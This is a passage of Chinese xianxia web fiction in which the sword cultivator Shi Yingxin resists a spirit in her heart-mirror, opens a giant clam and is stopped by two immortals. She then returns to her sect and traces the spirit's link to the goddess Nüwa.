咦,仔细想想,确实是从得了这玩意之后,就能听到她的声音了。 原来是这阿央白石唤醒了旋娉。 那么同理可得,如果她打开蚌壳得到了其中的珍珠……是不是意味着旋娉也会变得更有生机?所以这人方才好说歹说,正话反话,阴阳怪气地鼓励……都是在怂恿她? 可确实正如旋娉所说,以她现在的修为,再加上她师兄妹三人都不可能打开蚌壳。一是实力问题,她这辈子还是太嫩了;二是正如阿央白石唤醒旋娉,如果要唤醒面前的珍珠,定也需要上古神石的力量。 但这样旋娉就得逞了。 石映心握着阿央白石的手紧了紧,心中十分纠结。 她虽然不跟旋娉说话,但这人早已懂得她的心思,万分轻松自在地说些风凉话:“噢,你想明白了么?既然这样我就坦白讲了:你若是想救岸上那些人离开谷神森林,只有打开蚌壳,得到那颗蚌珠这一个办法。” 石映心没说话。 旋娉:“我承认,我是需要这颗蚌珠,但这对你对我来说都是有利无害的事,得到它我们便能一起变得更强……到时也许我便能离开你的心镜,你就不用再听我唠叨,这也是你想要的,对吗?” 石映心没说话。 旋娉:“哦,还有你的师兄 师妹?放心吧,他们不过是暂时昏迷,用不着去找药神谷帮忙,没过多久便会醒来,我和你保证。” 石映心没说话。 旋娉:“我知道你是担心我有什么阴谋……不过我怎么会害你呢?你是我的小镜子,我从来都是为你好的。” 她自言自语这么些天这么多句话,这是第一次得到了回应,石映心说: “我不是你的小镜子,我是石映心。” 旋娉明显愣了一下,随即轻笑道:“是,你是石映心,你这辈子是人了,还有一颗血肉做的凡心;可你的心中有心镜,心镜中有我,这要怎么算呢?” 石映心:“你怎么会在我的心镜中?” “哎呀,你忘啦?”旋娉早有预想,故作惊讶,“这可说来话长,你确定要我现在同你说?” “算了。”石映心不在意道,“我也不是很想知道。” 旋娉憋了一声没笑出来,她分明觉得对方就是以前的那面小镜子,脾性一模一样,哪怕长了凡心……可这么脆弱的心,是她压根不放在眼里的变数。 果然,如她预想中的那样,小镜子慢慢地将拿着阿央白石的手合上,正试探地汲取着石头中的上古神力。旋娉感到自己渴望已久的力量渐渐涌进体内,她想放声大笑,又怕惊吓到她的镜子,因此忍耐着欣喜道: “映心,你不知道你多么难得,多么厉害,世上能承载上古神力的宝贝能有多少呢?” 石映心已经习惯了不理会她,因此并不回她的话;她小心翼翼地连接起了她和这块阿央白石之间的“桥梁”,是很细小的、宛若头发丝的一道桥,但从石头中涌来的灵力依旧那么充沛强大。 石映心体会到自己全身的经脉在被这股力量滋润充盈,她清晰地感知着自己在变强……甚至马上破境入化神都很容易。 大概是从小接受着师父她们“一分耕耘一分收获”的老实人教育,石映心自动将天上掉下来的馅饼视作陷阱,因此感到那种要破境的强烈欲望时飞快地掐断了那根头发丝桥梁,转眼就将阿央白石收了起来。 正享受着的旋娉:……? “怎么了?小、映心?” 小映心绷着脸道:“我感觉差不多了。” 旋娉还没反应过来:“差不多什么?阿央白石中还有许多神力呢!” 石映心道:“以我现在的力量,差不多能将蚌壳打开。” “不,还差远了,你甚至还没来得及完全吸收!” 第258章 石映心没理她,她确实没有完全吸收这些灵力,这是她故意为之。此时她拿起帝血剑来,将那些还在经脉中沸腾的灵力尽数引入到剑上,剑身很快兴奋地颤抖起来,像是没吃过这么好的。 可剑修也没给帝血剑吸收太多的机会,很快便提剑而上,向蚌怪飞去。 旋娉立刻意识到她要做什么,原汤化原食……呸,这家伙是想直接将阿央白石上头的神力作用于蚌怪上,而她和帝血剑只做神力迁移的桥梁! 浪费,太浪费了! 旋娉简直无语笑了,这镜灵知道自己在做什么吗?难道说正因为她是镜灵,才会做如此暴殄天物的事? “为何不吸收灵力,难道你不想变强?” 石映心已经将帝血剑卡入了蚌壳的缝隙之中,这会还有心情回她话:“我是归壹派的剑修,若要变强,也应以剑道破境。” 旋娉听不得这话:“别跟你大师兄学那些有的没的!” 石映心:←← 旋娉:“像我这样的天才,从不局限于什么剑道符道,我要走尽世上能让我变强的道,如此才能成为人上人、仙中仙!若你想同我一般厉害,就该将这些宝贝取尽用竭!” 石映心便问:“是吗,那你怎么走到了如今的地步?” 旋娉:…… 明显是被气得沉默了,但她还是哼笑一声道:“你还是和以前一样会说话。” “以前的我已经不是现在的我了。” “可我还是我。”旋娉说,“小镜子,我回来了,就像我承诺过你的那样,我回来了。” 石映心使劲儿将帝血剑往下撬:“是我向你讨要的承诺吗?” “……什么?” “如果不是我向你讨要的承诺,便是你自作主张。” 旋娉一时讶然,她哪里记得对方有没有说过“我等你回来”之类的话……但从她的视角出发,她俩就是这样亲密无间的关系!所以她现在说这话是什么意思,责怪她自作多情吗?哇! “小镜子,你真的……” 她话音未落,只听一声闷响——是蚌壳被打开了。 如太阳般刺眼、月亮般皎洁的一道光芒从这道细小到宛如头发丝的缝隙中涌现而出,一瞬间将漆黑的河底切割成两半。上边的鱼群诡异地停在了原地,随着河水无声流动;下一刻,河底的土壤之下传来一阵沉闷的声响,像是水要煮开时的动静。 石映心自然发觉了这些古怪,她飞快地打量了一下四周,最后的目光还是落在了剑尖已经卡进蚌壳中的帝血剑上;按照她的计划,只要借阿央白石神力开这么一道小小的缝后,就能照到蚌珠的力量,然后打开蚌壳…… 现在她的手中已经握住了一拳灵气四溢的蚌珠光,时至今日,她对其中的上古神力已经很熟悉了……或者说,是女娲神力。 泉绮的秘境,天神女魃的青蛋,常曦的偷天神阵,帝俊的神雷,帝女石窟上的阿央白石,以及面前的蚌怪中的蚌珠……原来她一直无处不在。 甚至还藏在了她的心镜之中。 石映心并不想怀念这位故神,只是一旦发现了她,便会时刻想起;一旦想起了她,便会陷入沉默的复杂心情。 可现在不是沉默的时候。 石映心的瞳孔失去凡人的神色,像是两颗通黑的石头,她已经做好了准备,只等蝴蝶扑翅般的轻轻一眨—— 砰!! 水中自上而下地炸出水花,像是有人往水里扔进了烟花炮竹,当然威力没这么小,总之是强烈地吸引了她们的注意力。 石映心抬起头来,漆黑的瞳孔与漆黑的水流融为一体,仿佛要顺水流走,只剩下空空的眼眶;她这会还是能视物的,比如就眼睁睁地见一人将河水劈开,竟划出了一大段没反应过来的空气。 那人从天而降地落入被劈开的水中,一脚踩到了巨大蚌怪上—— 她是使了劲的,不然帝血剑不会发出鸣声。石映心的手被震得发麻,她因此回过神来,毫不犹豫地将帝血剑从蚌壳中拔了出来,生怕它被压碎。 失去蚌珠光之后,河底又恢复了一片黑,但此时黑得不彻底,因为站在蚌怪上的那人的周身发着隐隐的光亮,照透了这一方圆的河水。 石映心微微眯起眼睛打量对方,此人修为深不可测……是没见过的人,但为何她莫名感到一些熟悉?这人是谁? 竟然是旋娉给了她答案,只听她咬牙切齿的冷笑声: “又是你们……郁垒……妽荼!” 随她的话音,第二人也从天而降,这一次是石映心认识的妽荼仙尊了。 石映心于是听不见也不想听旋娉说什么了,她此时只有一个念头: 完了。 “石映心?”妽荼站在郁垒身边,眯起眼打量水中的人,看看她无辜的表情又看看她手中的剑,语气有些疑惑,“怎么又是你?” 石映心真不知道怎么说,一看见妽荼仙尊她就下意识泛起心虚,挠了挠脖子后,尽量用无事发生的语气道:“好巧啊,仙尊。” 妽荼:个_个 郁垒这时候说话了:“是你们归壹派的弟子?” “是。”妽荼似乎叹了口气,朝石映心抬了抬下巴,“杵在那做什么,还不快上来。” 石映心便飞到二人前边,沉默地站了会后忽然想起什么,规矩地给二人行了礼:“二位仙尊好。” 妽荼挑眉:“见到你还能有好事吗?” 石映心自觉犯事了,虽然具体事她也说不明白,甚至再来一次大概率也会重蹈覆辙,不过她是个敢于承担后果的靠谱修士……因此很快认错道:“弟子知错,麻烦仙尊了。” 妽荼这下真笑了,呵呵笑了两声指着石映心对边上人道:“看吧,我就说入世后尽是麻烦!” 石映心顺着她的话看向边上的郁垒,这是位和妽荼非常相似的女子。说是相似,但二人长相并不相像,只是给镜灵的感觉很像;现在她也明白了,这是因为二人身上的灵力出自同源,不过妽荼仙尊的灵力“热乎”,郁垒的则是阴冷。 长这么大,石映心到如今才发现妽荼仙尊身上的女娲神力。 难怪她自小对妽荼仙尊就有些探究的心思,而对方对她似乎……有些不待见?石映心知道这不是错觉,可究竟是为何呢? 她正胡思乱想着,就听郁垒道:“除你之外,方才还有谁在?” 石映心:OO 她回过神来:“仙尊是在问我?” 妽荼:“那不然是问我?” “哦,”石映心道,“这里只有我。” 二人对视一眼,妽荼转过来看她:“你确定此处只有你一人?” 石映心作沉思状:“岸上有许多被蚌怪吃进去的人。” “……没问他们。”妽荼说,“我说在这河里。” 石映心作苦恼状:“没有啊,仙尊。” “那你一人在河里做什么?”这是郁垒问的。 “她们都在岸上遇难了,我觉得这些蚌怪有古怪,便下水来找破局的办法。找了许久看见这只巨大的蚌怪,直觉其中有宝贝,便想打开来看看……”这不算说谎,只 是没说全。 “你胆子真大,”妽荼眯起眼来瞅她,“你可知这其中的蚌珠有何作用?” 石映心作无辜状:“请仙尊赐教。” 妽荼便赐教:“这是稳定谷神森林的上古神石,若它出了差错,不仅谷神森林和药神谷会遭殃,整个药神洲乃至全天下都要为之动荡!石映心,你差点犯了大错……” 说到这望见她一双澄澈的眼睛,妽荼深呼一口气,挥手道:“罢了,和你很难说,你大师兄呢?我倒要问问他是怎么看管师妹的!” 石映心这时无暇顾及昏睡中无故被波及的大师兄,她琢磨着妽荼的话,心说她真的差点就要打开蚌壳了……在旋娉明里暗里的怂恿之下。 思及此,她的额间冒了些冷汗,暗自庆幸二位仙尊来得及时。 此时却听郁垒道:“重点在这?” “嗯?”妽荼看她,“什么?” 郁垒冷冰冰的目光望着某人:“你这位弟子不过元婴后期的修为,如何能打开蚌壳?” “哦,她啊,”妽荼不以为意道,“她有些本事的,这你别管,是我们归壹派的秘闻。” 石映心还没想好怎么解释呢,没想到妽荼仙尊帮她圆上了,立刻配合地露出一个乖巧的微笑,朝郁垒点点头。 郁垒对妽荼的话似乎很信任,因此并未追究,瞅了石映心一眼后便转移目光看向别处,但怎么看都只有黑乎乎的河水和那些丑鱼群。她沉静地说:“妽荼,我感受到她了。” 妽荼也左瞅瞅右看看:“哪呢?” “她就在附近。” 妽荼笑了一声,朝石映心抬了抬下巴:“你是说这个不让人省心的小丫头?” 石映心:OO “罢了,”郁垒叹了口气,“最好是我的错觉。” “我看就是。”妽荼拍拍她肩膀道,“虽然入世后麻烦多,但你也该出来逛逛,放松一下心情,别整天一个人呆在那……” 郁垒将肩膀上的手拿开,对妽荼道:“谷神森林的封印已经修复,我去罗宝山看看。” 说罢她便往河上飞去,妽荼正要跟着,又想起什么,转头道:“还不快跟上?” 石映心:“是,仙尊。” 上了岸后,被郁垒分开的河流就再次汇合,石映心在空中回头望去,漆黑的水遮住了所有景色,哪里还瞧得见那巨大蚌怪? “可恶,”她听到心镜中传来旋娉不高兴的声音,“……我还会再回来的。” 石映心微微颔首:“我不会再回来的。” 旋娉:…… 第259章 方才妽荼和郁垒说话的时候,旋娉异常安静;又听郁垒说什么“我感受到她了”,石映心便猜到二位仙尊认识旋娉,甚至可能还在找她。 但现在情况特殊,旋娉还在她的心镜之中,她没有坦白的条件,只好知情不报了。好在石映心并无心理负担。 她跟着妽荼和郁垒来到先前下水的地方,瞧见一群新来的药神谷弟子在救援那些被吃进蚌壳中的人;她们似乎已经找到了救人的办法,先将蚌壳撬开,然后拿一种绿油油的药粉洒在里头,包裹着修士的乳白色皮肉就这么渐渐地褪去了。 后头站着一位面色沉重的绿老头,正是落桦谷主。见妽荼三人飞来,他恭敬地朝两位仙尊问了好,顺便给了石映心一个眼神。 妽荼说:“具体发生了什么,我这位小弟子会告诉你。” 石映心乖乖点头。 落桦客客气气道:“多谢二位仙尊,要不是你们及时赶来,谷中怕是会折损更多的弟子……不知二位可找到了深林封印动荡的原因?” 郁垒说:“暂未,之后我会去罗宝山一探究竟。” 落桦叹了口气,平日看着就脾气不好的脸上难得有这时的恭敬礼貌:“劳烦仙尊了。事成之后,在下定要好好设宴拜谢二位……” “不必,”郁垒拒绝得非常干脆,“分内之事罢了。” 比起妽荼,她明显更很着急处理此事,没说几句话就说要去罗宝山;落桦巴不得早点找到出事的缘由,一句客气话都没说就让她飞走了。 妽荼则是要留下来帮忙处理谷神森林的后事,参与落难弟子的救援,以及检查森林内是否还有未被处理的变异妖怪等……石映心知道,这就是妽荼仙尊常年在外忙碌的事:哪里有困难哪里就有她的身影。 至于石映心,被落桦和一个没见过的药神谷长老拉着问七问八问了许久,最后没问出啥来,只好放她回去。 石 映心回到谷中临时住所,师兄师妹依旧没醒,但屠家兄妹回来了。大概是从他们师父那听到了消息,二人见到她时还有些不好意思呢。 屠芜惭愧又感动道:“你帮了我们这么多,回到谷中还要去森林里帮忙……真是不知道怎么谢你们好。” 石映心说:“不必客气。” “师父已经看过明道友他们的情况了,”屠莱坐在椅子上歇息,看他面色能看得出来他累得够呛,“说是没看出来什么古怪,起码没有性命之忧……毕竟是你们归壹派的人,他不方便乱用药,怕是适得其反。” 石映心知道这是旋娉的手笔,在河中她也说过大师兄他们会醒来的话,因此石映心稍有安心,对二人道:“没事,我相信我师父师公她们会有办法。” 兄妹二人对视一眼,只能露出赞同的微笑。 她们又和石映心说了一些关于安顿那些螺族女人的事,什么“虽然现在反抗激烈但好在互相安慰着还能继续过日子”,不过没说两句就见她心不在焉的,便知道她不感兴趣,换了话题道:“对了,我已经找到成为蛊修的办法了。” 石映心这才抬起眼来看她:“什么?” “就是那两只阴阳虫呀!”屠芜忍不住笑道,“因为我和哥哥都没有发病过,所以一直以为自己没病。直到我娘提醒我们,说我哥体质特殊,我还未婚嫁,所以没有让怪病爆发的契机,但病症的根源依旧存在,从她和那个男人的身上遗传到了我们血脉中。” “于是我和屠莱也试着将阴阳虫作用在自己身上,果真有不同!”她拉住石映心,手心的灵力传递了温度,“你懂吗?那种……淤堵的经脉被打通的感觉!” 她也不管石映心的回答了,兴奋地絮絮叨叨:“太奇妙了!我立刻试了试以前怎么都学不会的蛊术,这下很快便学会了!映心,你知道这意味着什么吗?我可以做蛊修了,我可以做蛊修了!” “虽然师父说女子体质和男子体质不同,作为蛊修的修炼之法也不同,而目前已知的女子修炼之法少之又少……但没关系,我还有很多时间,还有很多机会,终有一天我会成为真正的蛊修大能……” “还有我哥,他也找到破境的契机了!原来我们都是因为这怪病才耽误了修行,现在好了,一切都好了……” 不用照,石映心就能体会到她那不知如何诉说、言语也难以纾解的痛快和快乐;她又看向边上靠在椅背上阖眼休息的屠莱,瞧见他那张苍白的脸上也有释怀的微笑。 用换月的话说,这大概叫嗨皮摁钉。 了断了长久的痛苦折磨,结局也不是止步不前,而是迎来新的希望和开始。 “恭喜,”石映心真心地说,“恭喜你们。” 屠芜似乎抹了把泪,扑上来抱住她道:“一切都会好的……换月她们很快也会醒来的。” 石映心拍拍她的肩膀,感受到拥抱的温暖:“我知道。” 目前情况特殊,屠家兄妹赶着去森林中帮忙,石映心也赶着回门派,因此双方分别得很草率,只留下再次见面的承诺。 * 药神谷驿站==> ==>归壹派驿站 还是头一次四人出去,一人清醒地回来。石映心也顾不上喘口气歇息了,一回到家就直接将师兄妹三人打包送到了师父的云雨峰。 见到师父听到动静后懒散地从屋里出来结果瞅见地上躺板板三人时震惊的神色,她一直提心吊胆的紧绷总算松懈下来,后知后觉地感到一些难言的委屈,苦着脸说:“师父……这到底是怎么回事?” 慕雲讶然地看看三徒弟,又看看地上的仨徒弟,心说好问题啊,这也是她想知道的。 但瞅着石映心可怜的模样,慕雲无数的困惑只压缩成一句话:“他们仨……没死吧?” 石映心擦擦鼻涕:“没有。” 慕雲狠狠松了口气,居然笑了一下:“没死就成,没死就成……没死就有办法……” 石映心道:“药神谷的长老都看过了,看不出毛病。” 慕雲胡言道:“我们归壹派的人他们药神谷哪里看得懂?别担心,等会我就送你师叔师公那去,他们一定有办法。” 石映心又说:“我这次好像闯大祸了。” 慕雲宽慰她:“没事,人没事就行。世上没有什么祸比生死更大。” 石映心顿了顿:“师父,你还没问我是什么祸。” “是什么祸呢?” 师父问了石映心却说不出来了,她总觉得这一趟出去做了好多错事,但回想起来不那么做又不行;时至今日,她才有掉进陷阱的不妙之感,而疑似罪魁祸首的人就在她的体内,她的心镜之中…… 看徒弟张着嘴却说不出话,面色茫然的模样,慕雲只好拍拍她肩膀,宽慰道:“别怕,就算是师父善不了的后,还有你师叔呢,师叔不行还有你师公……我们归壹派是天下第一大派,天王老奶来了都要给点面子,你有什么好担心的?走吧,先把这仨送去你陶远师叔那看看。” 石映心得到了安慰,心情也好了许多:“好。” 慕雲带着徒弟将昏迷的仨人送去了陶远那,没过一会又叫来了天元和天虚,接着陈久和金花也来了。 石映心坐在屋内,闭上嘴巴听各位前辈嘀嘀咕咕。 “……是这样?” “……八九不离十。” “我看也是。” “嘶,真少见哪……” …… 还听不懂。 最后是见多识广的天虚做了判断:“我翻来覆去地看过了,这三人确实没事;不止没事,体内的经脉灵力还很充沛,隐隐在破境边缘……很有可能是得了机缘,在梦中闭关修炼,等他们破境成功一日,便是醒来之时。” 石映心微愣:“闭关修炼……在梦中?” “不错。”陶远也颔首道,“我先前在古籍上有看过一例传闻,说是许久之前,有一位器修大能,其修行之法与众不同,常年沉睡在梦中修炼,一睡便是百年……” 金花应和道:“药神谷的某一位先祖好似也发生过类似的事。” 石映心自然想到了顾不醒,抿了抿唇没说话。 “那这么说,这仨孩子不仅没事,还是因祸得福了?”慕雲露出一个不可思议的笑容,拍拍石映心,乐观道,“映心你看,没事呢!” 难道旋娉真的没骗她? 石映心点了点头:“嗯……不过大师兄他们什么时候才能醒?” 天元摸摸髯须:“短则几日长则几年,看他们个人造化。映心啊,你就别操心了,此事无人责怪你。” 石映心心虚地“哦”了一声。 这时金花问她:“映心,他们是在何处陷入昏迷的?” 石映心看向金花:“罗宝山石窟。” 一听这话,几位仙尊都露出原来如此的神情,仿佛一切有了解释。金花轻笑道:“罗宝山石窟确实是个风水宝地,大难不死者必有后福。你师兄师妹是有幸得了机缘,你该为他们高兴才是,不必愁眉苦脸。” “……嗯。” 石映心:最好是吧。 临走前,石映心将她们此行收集的花草虫蛇交给了金花,后者非常高兴:“哎呀,没想到你们百忙之中还记得这件小事,真是多谢多谢!等我回去清点好,就将酬劳给你。” 石映心就当是在帮二师兄做生意了:“好。” 第260章 在这之后,慕雲嘱咐她好好休息几日,便去安顿三个徒弟了。石映心回到石头洞发呆了一会,忽然想起因果牌的事,拿出来一看,任务居然已经完成了?这简直是意外,毕竟后来她们完全忘了这回事。 放在以往是惊喜,但事到如今……石映心只有惊不敢喜。 反正闲着也没事,她便拿着因果牌去交差。飞到万事堂门口的时候,她诧异地顿住了脚步,捏着牌子的手不自觉发紧。 等交了牌子领了奖赏,她并未往门口走去,而是转身走向了万事树。这颗神树前来来往往许多弟子,这会排了长队,是前来领任务的弟子们,石映心站在边上看了会,排到了队伍的末端。 她并不是想奴役自己去领任务,只是想接近神树看看。 当她来到万事树面前,将手贴上树身的时候,那股熟悉的神力从其中源源不断地传入她的手心之中;这股她熟悉的、但近日才明了了的力量,原来在这里也有,理所当然到她觉得自己不该惊讶。 女娲神力…… 女娲…… 旋娉…… 糟了。 意识到什么,石映心连忙缩回手,捏着拳头就要走。但没走两步忽然听见后边有人喊了一声“小心”,她脚步一顿,未等反应过来时头上就挨了一下——“啪嗒”一声,是什么落在地上的声音。 后边喊“小心”的那人失笑道:“映心师妹,怎么连因果牌都忘记拿就走了?” 石映心:…… 因为她压根就没打算拿啊,方才也没有对万事树施展取因果牌的法术,怎么会……难道是旋娉? 石映心深呼一口气后叹出,不情愿地捡起了地上的因果牌,跟着离开的队伍出了大院。 “噗嗤。”一出去就听见某人的笑声,“小镜子,你很勤快嘛~” 石映心绷着脸:“你要累死我。” 旋娉:“我怎么舍得呢~” 她怎么舍不得呢? 石映心转身朝办事处走去,今日恰巧是晴雯当值,见到她便高兴道:“哎呀映心,你们回来 啦?这次出去好久。” “嗯……”石映心笑了笑,把因果牌放在桌上递过去,“晴雯师姐,我想把这牌子退回去。” “退回去?啊?”晴雯一时有很多疑惑,“你怎么刚回来就又去取牌子……取了牌子怎么又要退回去?这是什么操作?” “说来话长,”真的话长,“晴雯师姐,可以退吗?” “没有这样的先例呢,”晴雯似乎也是第一次遇到这样的情况,“等等哦,我帮你问问管事仙尊。” “好。” 石映心等了一会便得到了回复,晴雯苦恼道:“不行啊映心,仙尊说取了牌子就要去做……不过我看你这牌子好像没有截止日期,那你多休息一段时日再去做也可以的。” 石映心心说也是哦,和晴雯道了谢后就回去了。回到石头洞后,才想起来查看因果牌上的任务: 【火水之争】 【幽冥宗,桑九】 幽冥宗……石映心想,她还没去过幽冥宗呢,不止她没去过,换月和二师兄也没去过,大师兄似乎去过一回……没去过总是要去看看的,但最好是有个去过的人领路才方便。 嗯,等大师兄他们都醒了再去吧。 石映心这么做了决定,多一眼不瞧地将因果牌收入了囊中。旋娉还问呢:“你打算何时出发?” 石映心本不想理她,但又想到大师兄他们因她而昏迷,就故意道:“等我大师兄二师兄小师妹都醒了,身子转好了再一起去。” 旋娉默然了两秒,忽然嗤笑一声,轻飘飘道:“行,你等着吧。” 听着就是不怀好意的意思,但石映心没有多问,转身出了屋子,站在夜风凉爽的院子中拿出了帝血剑来。 旋娉:“大晚上的还练剑,你何时这么勤快了?” 石映心:“我何时不勤快?你不了解我。” “我不了解你么?哈哈哈哈哈!”旋娉大笑出声,“是,是,我不了解,士别三日当刮目相待,你现在是石映心,不再是千百年前的镜灵,我当然不了解你,哈哈哈哈……” 在她魔音绕耳的笑声中,石映心耍了一会剑招,但确实心不在焉的,最后还是将剑放在石桌上,坐在一边望着帝血剑发呆。 她的剑映照着天上的明月,冷光泠泠。剑修在不知多久的沉默之后,忽然问:“帝血剑是不是你的剑?” 旋娉的笑声又起:“你真聪明。” 就当剑修想把剑扔到地上的时候,又听她说:“严格来说……是也不是吧。” “……什么意思?” 旋娉道:“它本是一把普通的上古剑,在你开辟心镜之前可暂作为我的容身之所,不过毕竟只是普通宝剑罢了,太过局限;若不是我在其中,它哪里有如此强大的本事?不配为你所用,更别提承接帝俊雷力了,早就剑损消亡喽。” “如今它已染上了我身上的灵力,怎么不算是我的剑?也因此它才能发挥出更厉害的剑意。”说到这她得意地笑了一声,“这可多亏了我……哦,还有你那二师兄,他锻造剑鞘有功,此剑鞘得我功力,可日复一日地炼其中之剑。” 石映心瘪了下嘴,这会又想起连帝血剑的名字大概也是她取的。 “为什么叫帝血剑?” 旋娉:“你猜猜。” 石映心:“我记得你以前的剑本没有名字。” 旋娉:“哦?你还记得。” 石映心握住冰冷的剑柄,剑鞘在月色下有异样的光彩,精美的花纹错落有致,一条似天雷尖锐似游蛇灵动的纹路随鞘身缠绕,随之望去,有一倒三角的图样稳稳当当地停在了鞘口。 游蛇,倒三角。 “倒三角是女·阴,帝字的初义是女·阴。”剑修喃喃道,“是她,女娲……” “不错,”旋娉充满蛊惑的、带着笑意的声音萦绕在镜灵心中,“如你所知,我,旋娉,便是女娲的转世。” 她随意而轻盈的语气,已经是十分的笃定。 石映心听此宣言,非常淡定,她只是想:如果世人知道旋娉是女娲的转世,一定会鬼哭狼嚎、哭天抢地,绝不承认的。毕竟大家能接受的、爱戴的女娲,是那样举世无双的光辉的伟大的慈爱的悲悯之神的形象。 而旋娉与女娲相比——只占了一个举世无双。 因她拥有着充沛的女娲神力,比她所遇见的任何人都要多,甚至比她们归壹派的万事树还要丰盈。古往今来、普天之下,确实只有她能说出“我是女娲转世”这样的话,在她之外没有任何人有资格。 甚至她还活着。 最早的那个女人死了,常曦和羲和死了,姬有熊死了,那么多拥有女娲神力的青史留名者都死去了——旋娉却还活着。 为什么她还活着? 为什么……红极一时,甚至创造出能媲美偷天神阵的阵法的传奇人物……知道她旋娉鼎鼎大名的人现今却这么少呢?连带着换月神阵都名不经传。 一定和当时启动换月神阵之后发生的事有关…… 石映心心念电转间想到了探究真相的方向,郁闷的心情纾解了不少,人也有精神了一些,收起剑来就打算回屋休息了。 而在旋娉看来,就是她莫名其妙地无视她、不回话:“喂,小镜子,你听到我说的什么了吗?” “我叫石映心。” “好好好,小、映心,我说我是女娲转世。” “哦。” “……哦?” “女娲转世·旋娉,我要睡觉了。” “……” * 慕雲这几日没工夫搭理昏迷中的仨徒弟,她觉得三徒弟病得更严重,不然怎么开始泡藏书阁了?难道是思虑过度、有疾于首? 今日正午她提着一盒点心去看小徒弟,盒子一放下,就看徒弟闻声抬起头来,一脸古板地说:“师父,藏书阁不能吃东西。” “啊?哦……”不怎么来藏书阁的慕雲挠挠头,“是吗,我才知道。” 石映心绷着脸说:“我也是昨日吃甜甜果被管事仙尊提醒了才知道的。” 慕雲关心道:“没报为师的名号吧?” 徒弟:“没有,第一次是提醒,第二次便要记名了。” 慕雲转手把点心盒收了起来,心有余悸道:“还好还好,我本就不来这地,留个恶名太不划算。” 石映心对师父露出一些同情:“已经留了,师父。” 慕雲一愣:“什么?” 石映心:“二师兄常来呢。” “这臭小子——” 她几乎跳了起来,还是石映心将她拉住:“嘘!师父,不能跑跳,不能大声喧哗!” 慕雲只好咬牙启齿地坐下来捏拳头:“好好好,等他醒来再同他算账!” 石映心歪着脑袋瞧了瞧管事仙尊的方向,好在还没惊动对方,便小声问师父道:“师父你来找我做什么?” 慕雲平缓了心情,叹了口气道:“为师这不是担心你吗?” 石映心奇怪:“我好好的。” “你这几日都泡在藏书阁,简直是变了性子,为师很忧心。” 石映心撇嘴:“就当是在夸我了。没别的事了吗师父,没有您就回去吧。” 慕雲拿过她手中的书籍:“为师就好奇你这几日在干什么……《上古那些事儿》?呦,你还看上古籍了?看得懂吗孩子?” 石映心实话实说:“这本是博远仙尊(管事仙尊)推荐给我的,说写得比较通俗易懂,适合我这种平日不学无术的弟子看。” 慕雲与有羞焉:“他如何知道你不学无术呢?” 石映心:“他说一个人看不懂书还要硬看的模样真的很明显。” 慕雲:……【】 260-270 第261章 “咳,不说这个了,话说回来,你看这书做什么?” 既然师父自己找上门来了……主要是这几天石映心翻遍了书籍,如何也找不到一点线索,本不想麻烦师父,但事到如今也没办法,她叹了口气问:“师父,你知道旋娉吗?” “旋娉?”慕雲冒了个问号,“这是个人?” “是,”石映心想了想,“也不算是。” 慕雲:…… 石映心道:“她是很久很久以前……也许有一千年了,总之是我们归壹派前剑宗都还未创立时就存在的一位修仙者;她修为高超,法术非凡,是当时天下第一人。” “嚯,这么厉害?”慕雲没什么实感道,“那至少青史留名。” “我也这么想,”石映心指了指边上的一堆书,“但没有找到一条和她有关的信息。” 甚至她主动问旋娉,她也不同寻常地不回话,还劝她:“别做这些无用功,你找不到的。” 旋娉不让她做的事……她偏要做。 可就如师父所说,这么厉害的人应该被后世争先记载才对,就像各个门派的开门祖师、历代掌门和长老一样……怎么会找不到呢? “不过……”慕雲摸摸下巴思索道,“虽然我不认识这个人,但旋娉……好像在哪里听过?” 石映心亮了眼睛:“真的吗师父?你仔细想想。” 慕雲便绞尽脑汁了一会,最后榨干脑子了也没想起来:“真想不起来!估计只是在哪里偶然瞅过一眼或是听过一耳的。” 石映心便有些失望:“好吧,那我再翻翻书。” “唉,”慕雲把她拉过来,往边上使了个眼色,“你傻呀,翻书多累?直接用嘴巴问不好?” “问谁?” “博远仙尊啊!他在此处好多年,这些书早就看遍了!而且这位仙尊博览群书不说,还记忆力惊人,凡是他看过的东西都有些印象。” 石映心没想到那位仙尊是这么厉害的人物,她以为对方就是来值班的呢:“噢,那我去问问。” 博远仙尊是位很符合石映心刻板印象中的“严师”,他和这座需要安静的藏书阁一般肃穆,睿智的眼睛常常停留在手中的书面上,偶尔才抬起来看看阁中纪律。听到小辈的提问,博远难得看她一眼: “你是从何得知此名的?” 石映心挠挠下巴:“听说的。” 博远变出一份纸笔在她眼前:“写来。” 石映心拿起笔歪歪扭扭地写了下来。 博远一瞅,忍不住道:“你年岁尚小,多练练字还能改善些。” 石映心挠挠脖子:“……弟子多谢仙尊提点。” 博远拿起丑字看了看,又放下来,对石映心道:“我不曾听过此人的名讳,不过倒是有听过近音词。” “近音词?”石映心虽有疑惑,但虚心请教,“请仙尊赐教。” 博远便拿起笔,在她的丑字边上写了两个美字。 石映心看去,不自觉念出来:“玄……牝?仙尊,这是何意?” 博远道:“古言说,谷神不死,是谓玄牝。玄牝之门,是谓天地根,绵绵若存,用之不勤。” 说罢,见某弟子一看就听不懂的神色,还好心地给了解释: “此话意指,生养天地万物的道,也就是谷神,是永恒长存的,此为玄阴。玄牝之门,即玄妙阴阳之产门乃是天地之根本,连绵不绝,宛若永存;无穷无尽,用之不竭,谷神不死。” 石映心:……怎么翻译了还听不懂? 博远说到此,见某弟子脸上依旧一团疑云,叹了口气,只好继续说:“道为天下母,道生一,一生二,二生三,三生万物,天地万物皆由其生,而道永存,也说谷神不死。” 石映心这会依旧茫然,她喃喃地梳理思绪:“生养万物……天下母……玄妙阴阳之产门……产门?” 说到这,她鬼使神差般有个了念头,看向博远道:“仙尊,玄牝可是女·阴之意?” 博远不得不有些讶然,颔首道:“不错,难得你懂得。” “天下母不是女娲吗?难道……”她有些急切地、但说到这也忍不住顿了下,“玄牝就是女娲?” 女娲? 博远闻言一愣,心说这联想倒是莫名却有根据,思索片刻后忽而笑了:“你想到了本尊也未想到的一层。这么说来,玄牝确实可作女娲的意象,女娲乃‘化万物者也’,自然是天下母,是道,是谷神,也是玄牝。” 说到这,他看向石映心的眼神从“不学无术的小丫头”转变为“颇有天赋的小徒弟”,一时和蔼不少:“好孩子,你师从何人?” 石映心虽然道出了真相,但思绪依旧被真相困着,恍惚间又记得师父说“别报我名号”的事,因此不敢答复,只转移了话题道:“仙尊,请问您是在何处见过‘玄牝’一词?” 博远摸摸髯须道:“你可听过药神谷的谷神森林?其前身便叫玄牝森林,后被妽荼仙尊赐名,改为谷神。这是许久之前的事了,我们归壹派藏书阁茫茫古籍之中,仅有一言一语记载过此事。” 